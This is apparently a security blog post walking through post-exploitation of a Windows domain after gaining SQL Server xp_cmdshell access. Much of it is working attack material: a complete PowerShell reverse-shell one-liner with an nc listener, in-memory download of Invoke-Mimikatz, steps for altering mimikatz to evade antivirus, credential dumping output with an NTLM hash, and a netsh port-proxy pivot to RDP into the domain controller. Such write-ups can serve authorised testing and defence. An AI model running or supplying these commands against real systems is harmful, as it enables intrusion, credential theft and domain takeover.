You probably already heard about  Powershell and what amazing things you can do with it during a penetration test.

Tools like Powercat, Powershell Empire, Powersploit etc.. are wonderful and ready to use.. but serious hackers have to realize what is going on behind the scenes, do you agree?

So forget these tools and also Rapids’7 Metasploit,  we will try to use a mix of powershell and the traditional “cmd.exe” along with windows command tools  as a replacement of our unmissable “meterpreter” console.


This is the scenario:

You are performing a “Grey Box  Penetration Test”  on web a application hosted on a Windows Server from an internal network.  MS-SQL is the backend database installed on the same machine and finally, after struggling with sqlmap you obtained  your xp_cmdshell.

From now post-exploitation should start but there is no way to upload a meterpreter executable and there is also  an AV solid as rock…

And now your mission: login via remote desktop into the domain controller with the domain administrators credentials….

  • Your IP is
  • Web server internal network is
  • Web server can connect to your network only  with ports 80 and 443
  • Web server has no access to the internet

What can we do?

First of all: we need a decent shell, we cannot rely on xp_cmdshell…

Why not a bind or reverse shell? How can we accomplish this with the ugly  xp_cmdshell interface?

Heard about the magic of powershell?  Take a look here:

There are a plenty of useful scripts, including bind and reverse shells.

We will use this one :

$client = New-Object System.Net.Sockets.TCPClient('',443);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

What does this script? Easy, it launches powershell and creates a TCPClient object, connects back (reverse) to our machine, opens an input/output stream and executes  via  powershell (InvokeExpressIon) what we type.. very simple!

On our linux box the classic nc command for listening:

nc -lp 443

Let’s move to our xp_cmdshell obtained with sqlmap and paste the  ps code:

os-shell> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

This piece of code should be concatenated in one single line!

If everything is ok we should get back a powershell in our linux box:

#nc -lvp 443
listening on [any] 443 ...
connect to [] from [] 49193
PS C:\Windows\system32>

Well done! we have a reverse powershell. Who are we?

PS C:\Windows\system32> whoami
nt authority\system

What is network configuration? .. already got it, right?

PS C:\Windows\system32\ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:

 Connection-specific DNS Suffix . : 
 Link-local IPv6 Address . . . . . : fe80::8d97:97e2:e970:2477%12
 IPv4 Address. . . . . . . . . . . :
 Subnet Mask . . . . . . . . . . . :
 Default Gateway . . . . . . . . . :

And then ipconfig /all etc.. etc..

What is the windows version?

PS C:\Windows\system32> [System.Environment]::OSVersion.Version

Major Minor Build Revision
----- ----- ----- --------
6 3 9600 0

This is windows 2012! (

Now, we have to identify the computer name,  domain name and domain controller. There are several ways, for example:

PS C:\Windows\system32> echo (Get-WmiObject Win32_ComputerSystem).Name
PS C:\Windows\system32> echo (Get-WmiObject win32_computersystem).Domain

…or getting it from the environment variables via powershell:

echo $env:userdomain

…or calling directy  the “set” command

PS C:\Windows\system32> cmd /c 'set | find "USERDOMAIN"' 

and so on…

Now that we have the domain name, we need the domain controller’s name, right?

PS C:\Windows\system32> cmd /c "nltest /dclist:mydomain"
Get list of DCs in domain 'mydomain' from '\\SERVER2012DC'.
 server2012dc.mydomain.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully

And the ip address:

PS C:\Windows\system32> ping server2012dc

Pinging server2012dc.mydomain.local [] with 32 bytes of data:
Reply from bytes=32 time

Hmm.. DC is on a different subnet!

Who are the domain admins?

PS C:\temp> net group "domain admins" /domain
The request will be processed at a domain controller for domain mydomainb.local.

Group name Domain Admins
Comment Designated administrators of the domain


Administrator andrew 
The command completed successfully.

Is the system up to date? Check for hotfixes, patches, etc..

PS C:\Windows\system32> wmic qfe list
Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status SRV2012 Update KB2919355 SRV2012\Administrator 3/18/2014 SRV2012 Update KB2919442 SRV2012\Administrator 3/18/2014 SRV2012 Update KB2937220 SRV2012\Administrator 3/18/2014 SRV2012 Update KB2938772 SRV2012\Administrator 3/18/2014 SRV2012 Update KB2939471 SRV2012\Administrator 3/18/2014 SRV2012 Hotfix KB2949621 SRV2012\Administrator 3/18/2014 

Seems to be poorly patched 🙂

Look for a particular patch:

PS C:\Windows\system32> cmd /c 'wmic qfe list | find "KB2949621"' SRV2012 Hotfix KB2949621 SRV2012\Administrator 3/18/2014

Keep in mind: “wmic” is powerful tool that can perform many kinds of actions and queries on the underlying OS.

Ok, we did a minimalistic information gathering.. so let’s move on…

We have s local SYSTEM account, lets’ get grab the domain  passwords, hoping that some user with domain admin privilege logged in!

How can we achieve this goal? mimikatz, of course!

But we have a problem: we can’t upload mimikatz.exe , the AV will kill it as soon as we try to launch it and we  can’t stop the AV service.

Alternative solution: load the mimikatz powershell extension directly from the internet  and execute it in memory:

(New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -DumpCreds

But the server can’t connect to the internet, and even if so, would we be able to bypass AV?

Some Antivirus programs intercept also the powershell version of mimikatz,even if “launched”  through http in memory…


No panic, after some “heavy” testing, we found a  possible solution:

  • Change some keywords in mimi.ps1 in order to cheat the antivirus
  • Add “fuzzed” command “Invoke-mimikatz -Dumpcred ” at the end of file in order to execute it directly from .ps1
  • Rename mimi.ps1 to  mimi.txt (never hurts)
  • zip mimi.txt (never hurts 2)
  • Downloa file from our machine via http
  • Unzip
  • Rename .txt  to .ps1
  • Launch it .. and cross your fingers

I know what yo are thinking, why not execute directly the “fuzzed” mimikatz from our linux box, ex:

 (New-Object Net.WebClient).DownloadString(''); Invoke-Dummy  -DumpEvenMoreDummy)

Because we want to explore other possible solutions and learn new tip&tricks 😉

First of all  we will put on our webserver and start the http service. Next, from our PS shell we will download via powershell:

$r=New-Object System.Net.WebClient;$r.DownloadFile('', 'c:\temp\')

If everything is ok, we will find the file in c:\temp

PS C:\temp> dir
 Directory: C:\temp
Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a--- 1/26/2017 11:43 PM 991827

It works! Now a more challenging task: unzip this file. We don’t have any unzip utility on this server so what shall we do? Simple: load the “ZipFile” assembly already present on newer version of powershell:

PS C:\temp> $psversiontable
Name Value 
---- ----- 
PSVersion 4.0 
WSManStackVersion 3.0 
CLRVersion 4.0.30319.34014 
BuildVersion 6.3.9600.16394 
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0} 
PSRemotingProtocolVersion 2.2

This version should be ok, let’s try;

PS C:\temp> Add-Type -assembly '';[io.compression.zipfile]::ExtractToDirectory("c:\temp\","c:\temp")
PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a--- 1/4/2017 5:41 PM 2201698 mimi.txt 
-a--- 1/26/2017 11:43 PM 991827

The file was successfully extracted, now we’ll rename it to mimi.ps1 and try to launch it:

PS C:\temp> .\mimi.ps1

.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##. "A La Vie, A L'Amour"
 ## / \ ## /* * *
 ## \ / ## Benjamin DELPY `gentilkiwi` ( )
 '## v ##' (oe.eo)
 '#####' with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 1456550 (00000000:001639a6)
Session : RemoteInteractive from 3
User Name : andrew
--- snip ---

It worked, we bypassed also the AV! Looking for some interesting info in mimikatz output… and bingo! we found user “andrew” , remember? He is Domain Admin

Authentication Id : 0 ; 1456550 (00000000:001639a6)
Session : RemoteInteractive from 3
User Name : andrew
Logon Server : SERVER2012DC
Logon Time : 1/26/2017 11:21:19 PM
SID : S-1-5-21-3534665177-2148510708-2241433719-1105
 msv : 
 [00000003] Primary
 * Username : andrew
 * Domain : MYDOMAIN
 * NTLM : b9f917853e3dbf6e6831ecce60725930
 * SHA1 : 92777c3cb3974068c5503f06ae9d47a7b49b316c
 [00010000] CredentialKeys
 * NTLM : b9f917853e3dbf6e6831ecce60725930
 * SHA1 : 92777c3cb3974068c5503f06ae9d47a7b49b316c
 tspkg : 
 wdigest : 
 * Username : andrew
 * Domain : MYDOMAIN
 * Password : (null)
 kerberos : 
 * Username : andrew
 * Password : (null)
 ssp : KO
 credman : 

Unfortunately we are not able to get the password in clear text because Windows 2012 by default does not store the credential in clear text for the WDigest provider. But there is a registry hack, so we could change the settings (we are SYSTEM) and wait for a domain admin to logon again… but we have the NTLM hash (b9f917853e3dbf6e6831ecce60725930) .. try to crack it 😉

So we have the cracked password and are almost done, just need to rdp to domain controller.. but wait, there is a problem, this network ( is not accessible from our network.  We cannot rdp into our compromised web server because only port 80 and 443 are open (yes, we could change the listening port of rdp via registry hack), why not experimenting some pivoting techniques?

How can we achieve that? “netsh” is our friend in this case, we can setup a proxy on the webserver which then  redirects our rdp connection  to the domain controller, not a bad idea..

On the webserver we could use port 443 for our listening proxy if not already used,  otherwise we should stop iis ,for the sake of  stealthiness 😉

A quick “netstat -an” told  us that port 443 is free, let’s do it.

This is the schema:

  • attacker->rdp:
  • webserver:443->netsh-proxy-redirect-443-to-
  • domain controller:3389->rdp with attacker
PS C:\temp> netsh interface portproxy add v4tov4 listenport=443 listenaddress= connectport=3389 connectaddress=

On our linux box:


And finally logged into the DC with domain admins credentials!!




That’s all 🙂


2 thoughts on “Dirty tricks with Powershell

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s